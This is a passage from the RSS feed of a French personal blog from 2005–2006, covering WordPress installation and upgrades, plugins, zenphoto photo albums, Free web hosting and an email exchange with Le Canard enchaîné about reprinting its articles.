            <description>&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;http://www.zenphoto.org/&#34;  title=&#34;zenphoto&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;img alt=&#34;zenphoto&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;900px&#34; data-flex-grow=&#34;375&#34; height=&#34;24&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/172/zenphoto1.gif&#34; width=&#34;90&#34;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Zenphoto est maintenant en version1.0.3b. J&amp;rsquo;ai eu l&amp;rsquo;opportunité de préparer la traduction française pour le &lt;a class=&#34;link&#34; href=&#34;http://zenbien.com/infos/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;site de support français de zenphoto&lt;/a&gt;.&#xA;Il s&amp;rsquo;agit toujours de correction de bugs et d&amp;rsquo;amélioration de la performance.&lt;/p&gt;&#xA;&lt;p&gt;La bonne nouvelle, c&amp;rsquo;est que l&amp;rsquo;auteur annonce pour cet été le gestion de sous-albums. Il faut attendre la version 1.1.&lt;/p&gt;&#xA;&lt;p&gt;Chez Free, très bonne nouvelle: &lt;strong&gt;10 Go&lt;/strong&gt; d&amp;rsquo;espace web sont maintenant disponibles sur simple demande&amp;hellip; cela tombe à pic, les 1 Go précédents commençaient à être juste.&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>Les Simpsons sont de retour</title>
            <link>https://pled.fr/les-simpsons-sont-de-retour/</link>
            <pubDate>Sat, 20 May 2006 10:33:36 +0000</pubDate>
            <guid>https://pled.fr/les-simpsons-sont-de-retour/</guid>
            <description>&lt;p&gt;&lt;img alt=&#34;Homer.gif&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;Homer.gif#floatleft&#34;&gt; En début de semaine, j&amp;rsquo;ai du supprimer le plugin affichant une citation des Simpsons en haut de page à droite, et ce pour 2 raisons: d&amp;rsquo;abord la lenteur du serveur Free, et d&amp;rsquo;autre part la conception du plugin. Le résultat était que la page ne s&amp;rsquo;affichait pas, avec un beau message d&amp;rsquo;erreur (timeout).&lt;/p&gt;&#xA;&lt;p&gt;Après quelques recherches sur le net, il semble que Free soit en train d&amp;rsquo;effectuer une migration de leurs serveurs, avec pour résultat une nette baisse des performances. Free est gratuit, il faut attendre la fin de cette migration, pas vraiment le choix. Ne vous étonnez donc pas si le blog se charge très lentement (voir pas du tout !).&lt;/p&gt;&#xA;&lt;p&gt;Parallèlement, j&amp;rsquo;avais posé une question sur le message d&amp;rsquo;erreur généré par le plugin Simpsons. Un type m&amp;rsquo;a répondu, me disant qu&amp;rsquo;il était en train d&amp;rsquo;en écrire une nouvelle version, et me proposant de la tester avant publication. Aussitôt dit aussitôt fait, j&amp;rsquo;ai installé/testé son plugin (plus évolué) et lui ai fait un retour (2 problèmes constatés).&lt;/p&gt;&#xA;&lt;p&gt;C&amp;rsquo;est ce nouveau plugin qui est installé maintenant. Il n&amp;rsquo;est pas dédié aux Simpsons, on peut aussi ajouter d&amp;rsquo;autres catégories, et ajouter ses propres citations. Il fournit également des phrases célèbres de Bush, ou des citations d&amp;rsquo;hommes célèbres.&#xA;Je n&amp;rsquo;ai validé pour l&amp;rsquo;instant que les Simpsons, suite à un des problèmes remontés. J&amp;rsquo;activerai les autres une fois le problème identifié et corrigé.&lt;/p&gt;&#xA;&lt;p&gt;J&amp;rsquo;ai trouvé ça plutôt sympa de servir de testeur. C&amp;rsquo;est dans l&amp;rsquo;esprit du web, chacun apporte sa pierre, bénévolement, et ensuite tout le monde en profite !&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>zenphoto et zenpress</title>
            <link>https://pled.fr/zenphoto-et-zenpress/</link>
            <pubDate>Sun, 07 May 2006 17:19:22 +0000</pubDate>
            <guid>https://pled.fr/zenphoto-et-zenpress/</guid>
            <description>&lt;p&gt;Quelques nouvelles de zenphoto, que j&amp;rsquo;utilise pour les albums photo:&lt;/p&gt;&#xA;&lt;p&gt;Mise à jour de la version 1.0.1b vers la version 1.0.2b, qui corrige quelques failles de sécurité et améliore la performance.&lt;/p&gt;&#xA;&lt;p&gt;Toujours pas de gestion des dossiers et sous-dossiers pour classer les albums, il faudra être patient, le cycle de développement semble assez lent !&lt;/p&gt;&#xA;&lt;p&gt;Mais en passant sur le &lt;a class=&#34;link&#34; href=&#34;http://www.trisweb.com/&#34;  title=&#34;trisweb&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;blog du créateur de zenphoto&lt;/a&gt;, j&amp;rsquo;ai découvert un nouveau plugin pour Wordpress: &lt;a class=&#34;link&#34; href=&#34;http://simbul.bzaar.net/zenpress/&#34;  title=&#34;zenpress&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Zenpress&lt;/a&gt;.&#xA;Il permet d&amp;rsquo;inclure très facilement des images (ou des miniatures) des albums de zenphoto dans les articles du blog..&lt;/p&gt;&#xA;&lt;p&gt;Plutôt cool&amp;hellip; et comme je viens de finir un album (apéro à Chateaugiron), je vais m&amp;rsquo;en servir tout de suite pour le prochain article !&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>Online Counter</title>
            <link>https://pled.fr/online-counter/</link>
            <pubDate>Sun, 02 Apr 2006 17:02:33 +0000</pubDate>
            <guid>https://pled.fr/online-counter/</guid>
            <description>&lt;p&gt;Ajout d&amp;rsquo;un nouveau plugin: &lt;a class=&#34;link&#34; href=&#34;http://faked.org/blog/wp-onlinecounter/&#34;  title=&#34;site wp-onlinecounter&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;WP-OnlineCounter&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Il affiche dans le bas de page le nombre de personnes connectées et le nombres de visites. On repart à zéro ! j&amp;rsquo;aurai pu initialiser le compteur a la valeur de celui du site, mais bon&amp;hellip; celui-ci s&amp;rsquo;incrémente plus vite (à chaque chargement de la page d&amp;rsquo;accueil, semble-t-il).&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>Wordpress en version 2.0.2</title>
            <link>https://pled.fr/wordpress-en-version-202/</link>
            <pubDate>Sat, 01 Apr 2006 16:54:39 +0000</pubDate>
            <guid>https://pled.fr/wordpress-en-version-202/</guid>
            <description>&lt;p&gt;Mise à jour de la version Wordpress de 2.0 en 2.0.2. Il s&amp;rsquo;agit principalement de correction de bugs et de failles de sécurité.&lt;/p&gt;&#xA;&lt;p&gt;Opération grandement facilitée par les &lt;a class=&#34;link&#34; href=&#34;http://www.wordpress-fr.net/2006/03/11/wordpress-passe-en-version-202/&#34;  title=&#34;site support wordpress en français&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;conseils&lt;/a&gt; du site de support français de Wordpress.&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>La musique que j&#39;écoute</title>
            <link>https://pled.fr/la-musique-que-jecoute/</link>
            <pubDate>Fri, 31 Mar 2006 17:34:56 +0000</pubDate>
            <guid>https://pled.fr/la-musique-que-jecoute/</guid>
            <description>&lt;p&gt;Grâce à Last.fm (voir &lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=93&#34;  title=&#34;article Last.fm&#34;&#xA;    &gt;article du 25 mars&lt;/a&gt;), vous pouvez voir la musique que j&amp;rsquo;écoute sur le PC.&#xA;La liste affichée (dans le menu de droite) représente les artistes de la semaine.&#xA;On peut même cliquer dessus pour entendre des extraits (il faut Flashplayer). Sympa !&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>Journaliste citoyen</title>
            <link>https://pled.fr/journaliste-citoyen/</link>
            <pubDate>Fri, 31 Mar 2006 15:30:57 +0000</pubDate>
            <guid>https://pled.fr/journaliste-citoyen/</guid>
            <description>&lt;p&gt;J&amp;rsquo;ajoute dans la partie Liens du menu de droite un lien vers &lt;a class=&#34;link&#34; href=&#34;http://johnpaullepers.blogs.com/&#34;  title=&#34;le blog de john Paul Leperse&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;le blog de john Paul Leperse&lt;/a&gt;, journaliste, ex-membre de l&amp;rsquo;équipe du vrai-faux journal de Karl Zéro.&lt;/p&gt;&#xA;&lt;p&gt;Vous y trouverez pas mal de videos de ses reportages, ainsi que extraits de son livre &amp;ldquo;Madâme, l&amp;rsquo;impossible conversation&amp;rdquo;, un livre retraçant son enquête sur Madame Chirac. A ne pas manquer !&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>Google video</title>
            <link>https://pled.fr/google-video-2/</link>
            <pubDate>Wed, 22 Mar 2006 21:11:30 +0000</pubDate>
            <guid>https://pled.fr/google-video-2/</guid>
            <description>&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;http://video.google.com/&#34;  title=&#34;Lien vers le site Google video&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;img alt=&#34;google.jpg&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;568px&#34; data-flex-grow=&#34;237&#34; height=&#34;54&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/google-video-2/google.miniature.jpg&#34; width=&#34;128&#34;&gt;&lt;/a&gt; Google Video est maintenant disponible en France. Une grande bibliothèque de vidéos en ligne, vous basculant vite sur le &lt;em&gt;Google video store&lt;/em&gt;, où il faudra sortir la carte bleue ! Mais il y a aussi beaucoup de petites vidéos amateurs, gratuites, et parfois très drôle.&lt;/p&gt;&#xA;&lt;p&gt;Et il y a bien sûr un plugin pour Wordpress: voyez l&amp;rsquo;article précédent, je peux intégrer le lecteur Google. et il ne vous reste plus qu&amp;rsquo;à cliquer sur &amp;ldquo;Play&amp;rdquo; pour jouer la vidéo. Pas mal, non ?&lt;/p&gt;&#xA;&lt;p&gt;Le plugin s&amp;rsquo;appelle &lt;a class=&#34;link&#34; href=&#34;http://www.rossgerbasi.com/2006/01/21/extreme-video-plugin-20/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;WP-Extreme video&lt;/a&gt;,  il ne se limite pas à Google video, mais peut jouer n&amp;rsquo;importe quel FLV  (Flash Video) sur le net. C&amp;rsquo;est le format le plus compressé, meilleur que Realplayer, Quicktime et Windows Media Player.&lt;/p&gt;&#xA;&lt;p&gt;Ce qui rend la diffusion sur le web possible. En fait je n&amp;rsquo;ai rien sur mon site, sinon le lecteur Google video. En cliquant sur &amp;ldquo;Play&amp;rdquo;, vous activez le lien vers le site Google video, et le &lt;em&gt;streaming&lt;/em&gt; commence (on commence à télécharger, puis on démarre la video tout en continuant à télécharger).&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>Souscrire aux commentaires</title>
            <link>https://pled.fr/souscrire-aux-commentaires/</link>
            <pubDate>Sat, 18 Mar 2006 11:42:41 +0000</pubDate>
            <guid>https://pled.fr/souscrire-aux-commentaires/</guid>
            <description>&lt;p&gt;Installation d&amp;rsquo;un autre plugin: &lt;em&gt;Susbcribe to comments&lt;/em&gt;. Il permet, lors de la saisie d&amp;rsquo;un commentaire, de choisir d&amp;rsquo;être tenu informé (par mail) si un nouveau commentaire est &amp;ldquo;posté&amp;rdquo; ultérieurement. Pratique pour savoir si quelqu&amp;rsquo;un a réagi au votre.&lt;/p&gt;&#xA;&lt;p&gt;Il s&amp;rsquo;agit d&amp;rsquo;une case (cochée par défaut) apparaissant en-dessous de la zone où l&amp;rsquo;on saisit un commentaire.&lt;/p&gt;&#xA;&lt;p&gt;Le lien du plugin: &lt;a class=&#34;link&#34; href=&#34;http://txfx.net/search/subscribe%20to%20comments%202&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Subscribe to Comments&lt;/a&gt;&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>Statistiques du blog</title>
            <link>https://pled.fr/statistiques-du-blog/</link>
            <pubDate>Fri, 17 Mar 2006 19:14:16 +0000</pubDate>
            <guid>https://pled.fr/statistiques-du-blog/</guid>
            <description>&lt;p&gt;Installation d&amp;rsquo;un plugin &amp;ldquo;WP-stats&amp;rdquo; permettant de résumer sur une page le nombre d&amp;rsquo;articles, de commentaires; les plus récents, les plus commentés. Egalement un classement des auteurs de commentaires&amp;hellip;&lt;/p&gt;&#xA;&lt;p&gt;Disponible dans le menu latéral.&lt;/p&gt;&#xA;&lt;p&gt;Plugin: &lt;a class=&#34;link&#34; href=&#34;http://benoitcatherineau.free.fr/wordpress/index.php/2006/01/17/mise-a-jour-de-wp-stats/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;WP-stats&lt;/a&gt; (lien vers la version française)&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>Simpson Quote</title>
            <link>https://pled.fr/simpson-quote/</link>
            <pubDate>Thu, 16 Mar 2006 18:20:09 +0000</pubDate>
            <guid>https://pled.fr/simpson-quote/</guid>
            <description>&lt;p&gt;Du nouveau dans le menu latéral: une citation des Simpson, modifiée à chaque rechargement (il y a 207 différentes). Idéal pour perfectionner l&amp;rsquo;anglais, et se marrer (si l&amp;rsquo;on pige !).&lt;/p&gt;&#xA;&lt;p&gt;Il s&amp;rsquo;agit d&amp;rsquo;un plugin pour Wordpress trouvé sur le site de &lt;a class=&#34;link&#34; href=&#34;http://phunky.co.uk/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Phunky&lt;/a&gt;.&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>WP Tiger Administration</title>
            <link>https://pled.fr/wp-tiger-administration/</link>
            <pubDate>Sun, 12 Mar 2006 16:58:39 +0000</pubDate>
            <guid>https://pled.fr/wp-tiger-administration/</guid>
            <description>&lt;p&gt;Ajout d&amp;rsquo;un nouveau plugin dans Wordpress. &lt;a class=&#34;link&#34; href=&#34;http://orderedlist.com/wordpress-plugins/wp-tiger-administration/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;WP Tiger Administration&lt;/a&gt; améliore l&amp;rsquo;interface d&amp;rsquo;administration, la rendant plus conviviale. Vous y accédez en vous identifiant, pour créer un article, etc&amp;hellip;&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>Le canard est frileux</title>
            <link>https://pled.fr/le-canard-est-frileux/</link>
            <pubDate>Fri, 24 Feb 2006 16:38:07 +0000</pubDate>
            <guid>https://pled.fr/le-canard-est-frileux/</guid>
            <description>&lt;p&gt;Ce matin, j&amp;rsquo;ai envoyé un mail au canard enchaîné pour vérifier que je peux reproduire quelques-uns de leurs articles sur le blog. Voici mon mail et leur réponse:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Bonjour,&#xA;Je suis un lecteur fidèle du Canard, et le mercredi matin est toujours un bon jour de la semaine grâce à vous. Merci pour cela.&#xA;J&amp;rsquo;ai un weblog depuis peu, essentiellement consulté par des amis, et donc d&amp;rsquo;une audience qui reste plutôt confidentielle.&#xA;Je me permet de temps en temps de recopier certains de vos articles sur mon blog.&#xA;Je voudrais m&amp;rsquo;assurer que vous n&amp;rsquo;y voyez pas d&amp;rsquo;inconvénients, et c&amp;rsquo;est l&amp;rsquo;objet de ce mail.&#xA;J&amp;rsquo;imagine que cela ne peut que concourir à donner aux gens l&amp;rsquo;envie de lire votre journal, et que cela va dans le sens de votre travail: faire circuler une information libre et indépendante.&#xA;Si je me trompe, dites-le moi&amp;hellip;&#xA;Merci,&#xA;Pascal&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;La réponse du Canard:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Cher Monsieur,&#xA;Merci pour votre message et de l&amp;rsquo;intérêt que vous portez au &amp;ldquo;Canard&amp;rdquo;.&#xA;Cependant, nous regrettons de devoir vous indiquer que, pour des raisons juridiques, nous ne pouvons donner d&amp;rsquo;autorisation pour la reproduction de nos articles sur des sites, même confidentiels;&#xA;Espérant que vous comprendrez nos raisons,&#xA;Cordialement&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;J&amp;rsquo;ai donc modifié tous ces articles, me contenant de relayer l&amp;rsquo;information contenue, et citant la source de l&amp;rsquo;information. J&amp;rsquo;espère que cela leur conviendra. Dommage, leurs articles sont vraiment de qualité.&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>Wordpress: mise à jour en version 2.0.1</title>
            <link>https://pled.fr/wordpress-mise-a-jour-en-version-201/</link>
            <pubDate>Fri, 10 Feb 2006 18:05:42 +0000</pubDate>
            <guid>https://pled.fr/wordpress-mise-a-jour-en-version-201/</guid>
            <description>&lt;p&gt;Je viens de mettre à jour la version de Wordpress. Passage de la version 1.5.2 à la version 2.0.1.&lt;/p&gt;&#xA;&lt;p&gt;D&amp;rsquo;un point de vue utilisation, pas de changement apparent, l&amp;rsquo;intérêt de cette upgrade réside principalement dans l&amp;rsquo;interface d&amp;rsquo;administration, plus évoluée. Elle dispose surtout d&amp;rsquo;un éditeur &lt;a class=&#34;link&#34; href=&#34;http://fr.wikipedia.org/wiki/Wysiwyg&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;WYSIWYG&lt;/a&gt;, facilitant grandement la création d&amp;rsquo;article.&lt;/p&gt;&#xA;&lt;p&gt;Car je vous rappelle que le blog est ouvert: vous pouvez vous créer un compte, je vous donnerai alors les droits pour créer des articles&amp;hellip; Cela peut devenir un endroit commun de discussion, où l&amp;rsquo;on peut donner laisser son billet d&amp;rsquo;humeur&amp;hellip; Voir la page &lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?page_id=17&#34; &gt;Utilisation&lt;/a&gt; (dans le menu en haut de page) pour plus d&amp;rsquo;infos.&lt;/p&gt;&#xA;&lt;h3 id=&#34;&#34;&gt;&#xA;&lt;/h3&gt;&lt;h3 id=&#34;détail-de-lupgrade&#34;&gt;Détail de l&amp;rsquo;upgrade&#xA;&lt;/h3&gt;&lt;ol&gt;&#xA;&lt;li&gt;Sauvegarder la base de données mysql&amp;hellip;faire un dump quoi&amp;hellip;(par précaution)&lt;/li&gt;&#xA;&lt;li&gt;Sauvegarder la totalité des dossiers wordpress déposés sur le site .&lt;/li&gt;&#xA;&lt;li&gt;Désactiver les plug-ins (conseil trouvé sur le site anglophone..alors je l&amp;rsquo;ai prudemment suivi)&lt;/li&gt;&#xA;&lt;li&gt;télécharger la version française complète sur le site: &lt;a class=&#34;link&#34; href=&#34;http://xavier.borderie.net/wp-fr/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;http://xavier.borderie.net/wp-fr/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Mettre à la corbeille la totalité des dossiers wordpress de la version précédente.&lt;/li&gt;&#xA;&lt;li&gt;Les remplacer par les dossiers de la nouvelle version.&lt;/li&gt;&#xA;&lt;li&gt;Remplacer le dossier &amp;ldquo;wp-config-sample.php&amp;rdquo; de la version 2.0 par le dossier &amp;ldquo;wp-config.php de la version précédente (voir sauvegarde citée en 2)&amp;hellip;) il contient toutes les éléments nécessaires pour la mise à jour de la base de données.&lt;/li&gt;&#xA;&lt;li&gt;Transférer le dossier wp-images de la version précédente dans la nouvelle version&amp;hellip;c&amp;rsquo;est là que je mettais les images illustrant mes articles notamment.&lt;/li&gt;&#xA;&lt;li&gt;Mettre dans wp-content/plug-ins et dans wp-content/themes les plug-ins et les thèmes utilisés dans la version précédente (surtout s&amp;rsquo;ils ont été bidouillés comme je l&amp;rsquo;ai fait!!!).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Ces opérations terminées il reste à demander à son navigateur de se brancher sur son site direction le dossier &amp;ldquo;wp-admin/upgrade.php&amp;rdquo; et tout est réglé en 5 secondes&amp;hellip;&#xA;Il reste à réactiver le ou les plug-ins.&lt;/p&gt;&#xA;&lt;p&gt;source: &lt;a class=&#34;link&#34; href=&#34;http://wordpress-fr.net/support/viewtopic.php?id=488&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;http://wordpress-fr.net/support/viewtopic.php?id=488&lt;/a&gt;&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>Photopress</title>
            <link>https://pled.fr/photopress/</link>
            <pubDate>Sun, 05 Feb 2006 11:31:45 +0000</pubDate>
            <guid>https://pled.fr/photopress/</guid>
            <description>&lt;p&gt;J&amp;rsquo;ai installé (il y a quelque temps déjà) Photopress, un plugin qui ajoute quelques fonctions intéressantes pour gérer les images dans Wordpress.&#xA;C&amp;rsquo;est lui qui permet d&amp;rsquo;afficher une image aléatoire en haut de page, ce qui apporte un peu de convivialité à la page d&amp;rsquo;accueil.&#xA;C&amp;rsquo;est surtout pour cette fonction que je l&amp;rsquo;ai installé. Sa gestion d&amp;rsquo;album reste assez basique, c&amp;rsquo;est pour cela que j&amp;rsquo;ai choisi Zenphoto comme véritable &amp;ldquo;album photo&amp;rdquo;.&lt;/p&gt;&#xA;&lt;p&gt;J&amp;rsquo;y ai mis les photos de la rubrique &amp;ldquo;A la Une&amp;rdquo; du site, une bonne sélection de photos.&lt;/p&gt;&#xA;&lt;p&gt;Les infos (en anglais) sur ce plugin sont dispo &lt;a class=&#34;link&#34; href=&#34;http://familypress.net/photopress/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;ici&lt;/a&gt;.&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>Wordpress: Thème &#34;connexions&#34;</title>
            <link>https://pled.fr/wordpress-theme-connexions/</link>
            <pubDate>Tue, 17 Jan 2006 21:04:34 +0000</pubDate>
            <guid>https://pled.fr/wordpress-theme-connexions/</guid>
            <description>&lt;p&gt;&lt;img alt=&#34;under construction&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;web_paint.gif#floatleft&#34;&gt; Je commence à personnaliser l&amp;rsquo;environnement du blog en installant ce que l&amp;rsquo;on appelle un &lt;em&gt;thème&lt;/em&gt;. Celui choisit s&amp;rsquo;appelle &lt;a class=&#34;link&#34; href=&#34;http://www.vanillamist.com/blog/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;connexions&lt;/a&gt;.&#xA;Celui par défaut était pas mal, sobre, mais celui-ci offre un menu en haut de page qui va probablement me servir à faire des liens vers des pages de mon site actuel.&lt;/p&gt;&#xA;&lt;p&gt;Si un &lt;em&gt;thème&lt;/em&gt; s&amp;rsquo;installe en quelques secondes, reste à le franciser (ce n&amp;rsquo;est pas encore complètement terminé), puis à le personnaliser.&#xA;Pour l&amp;rsquo;instant, j&amp;rsquo;ai changé la bannière (une photo de Roc Trévezel), et la réorganisation du menu latéral est en cours; par exemple.&#xA;Reste aussi à voir les couleurs: pas si simple que ça de changer les couleurs d&amp;rsquo;un thème, il faut rester cohérent. Pas sûr que je les change d&amp;rsquo;ailleurs&amp;hellip; ou plus tard.&#xA;Bref, ça avance !&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>Wordpress: installation en local</title>
            <link>https://pled.fr/wordpress-installation-en-local/</link>
            <pubDate>Mon, 26 Dec 2005 18:53:12 +0000</pubDate>
            <guid>https://pled.fr/wordpress-installation-en-local/</guid>
            <description>&lt;p&gt;&lt;img alt=&#34;icone wordpress&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;home_icon_wp.png#floatleft&#34;&gt; Installer Wordpress en local sur son PC offre l&amp;rsquo;avantage de pouvoir &lt;em&gt;tester&lt;/em&gt; les modifications (personnalisations) que l&amp;rsquo;on fait &lt;em&gt;avant&lt;/em&gt; de modifier les fichiers sur le serveur (de Free par exemple).&lt;/p&gt;&#xA;&lt;p&gt;Pour ce faire, il faut que votre PC devienne un « serveur web », afin de pouvoir générer les pages demandées. &lt;a class=&#34;link&#34; href=&#34;http://www.easyphp.org/index.php&#34;  title=&#34;site d&amp;#39;EasyPHP&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;EasyPHP&lt;/a&gt; fournit l&amp;rsquo;environnement nécessaire sous Windows, soit le trio Apache/PHP/MySQL. Tous ces logiciels sont issus du monde libre et donc gratuits.&lt;/p&gt;&#xA;&lt;p&gt;Cela se fait donc assez facilement, comme le nom EasyPHP le laisse supposer. Les étapes sont les suivantes :&lt;/p&gt;&#xA;&lt;p&gt;1. Installer EasyPHP et lancer l&amp;rsquo;interface d&amp;rsquo;administration.&#xA;2. Définir un alias qui pointera vers le répertoire où Wordpress sera dézippé (cela donne plus de souplesse, sinon, il faut mettre Wordpress sous le répertoire www de EasyPHP.&#xA;3. Créer une base, par exemple &amp;ldquo;wordpress&amp;rdquo;.&#xA;4. Dézipper la version de Wordpress téléchargée auparavant (par exemple d&amp;rsquo;&lt;a class=&#34;link&#34; href=&#34;http://www.wordpress-fr.net/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;ici&lt;/a&gt;).&#xA;5. Editer le fichier &lt;strong&gt;wp-config-sample.php&lt;/strong&gt;, modifier le nom d&amp;rsquo;utilisateur/mot de passe pour correspondre à celui de EasyPHP (par défaut, c&amp;rsquo;est root, sans de mot de passe) et le sauvegarder sous le nom de &lt;strong&gt;wp-config.php&lt;/strong&gt;.&#xA;6. Ouvrir dans votre navigateur le fichier &lt;strong&gt;install.php&lt;/strong&gt; en passant par le serveur EasyPHP. Cela donne par exemple quelque chose comme :&#xA;http://127.0.0.1/wordpress/wp-admin/install.php&lt;/p&gt;&#xA;&lt;p&gt;7. Suivre les instructions (2 étapes !) et voilà, votre blog Wordpress est installé !!&lt;/p&gt;&#xA;&lt;p&gt;La simplicité est vraiment top !&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>Wordpress: Upgrade version 1.2 vers 1.5</title>
            <link>https://pled.fr/upgrade-vers-la-version-15/</link>
            <pubDate>Mon, 26 Dec 2005 17:54:38 +0000</pubDate>
            <guid>https://pled.fr/upgrade-vers-la-version-15/</guid>
            <description>&lt;p&gt;Une fois l&amp;rsquo;installation de Free terminée (cela prend plusieurs jours apparemment), je me rend compte qu&amp;rsquo;il s&amp;rsquo;agit de la version 1.2, qui offre moins de fonctionnalités que la 1.5, notamment pour la personnalisation, la notion de pages, etc&amp;hellip;&lt;/p&gt;&#xA;&lt;p&gt;Après quelques recherches sur le net, j&amp;rsquo;ai trouvé cette &lt;a class=&#34;link&#34; href=&#34;http://www.tamba2.org.uk/wordpress/upgrade/upgrade_fr.html&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;page&lt;/a&gt;&#xA;qui explique tout.&#xA;Partant d&amp;rsquo;un site standard (je n&amp;rsquo;avais bien entendu encore apporté aucune personnalisation), je me suis dispensé de la sauvegarde des fichiers&amp;hellip;&#xA;Bref, c&amp;rsquo;était fait en quelques minutes.&lt;/p&gt;&#xA;&lt;p&gt;Il y a aussi une explication sur cette &lt;a class=&#34;link&#34; href=&#34;http://codex.wordpress.org/Upgrade_1.2_to_1.5&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;page&lt;/a&gt; du wiki, mais en anglais.&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>Wordpress, qu&#39;est-ce que c&#39;est ?</title>
            <link>https://pled.fr/wordpress-quest-ce-que-cest/</link>
            <pubDate>Mon, 26 Dec 2005 17:44:53 +0000</pubDate>
            <guid>https://pled.fr/wordpress-quest-ce-que-cest/</guid>
            <description>&lt;p&gt;WordPress est un logiciel de publication axé sur la facilité de prise en main, la rapidité et un utilisabilité maximale. WordPress est soutenu par une communauté très active, qui est le coeur des logiciels open source.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Fonctionnalités&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;WordPress est une plateforme de publication personnelle puissante, avec de nombreuses fonctionnalités conçues pour rendre votre expérience de publication sur Internet aussi simple, plaisante et agréable que possible. Nous sommes fier de vous offrir une plateforme de publication librement distribuable, compatible avec les standards, rapide, légère et gratuite avec des paramètres et des fonctionnalités réfléchis ainsi qu&amp;rsquo;un noyau extraordinairement adaptable.&lt;/p&gt;&#xA;&lt;p&gt;Informations tirées du &lt;a class=&#34;link&#34; href=&#34;http://codex.wordpress.org/fr:WordPress&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Wiki Wordpress français&lt;/a&gt;&lt;/p&gt;&#xA;</description>
        </item></channel>
</rss>
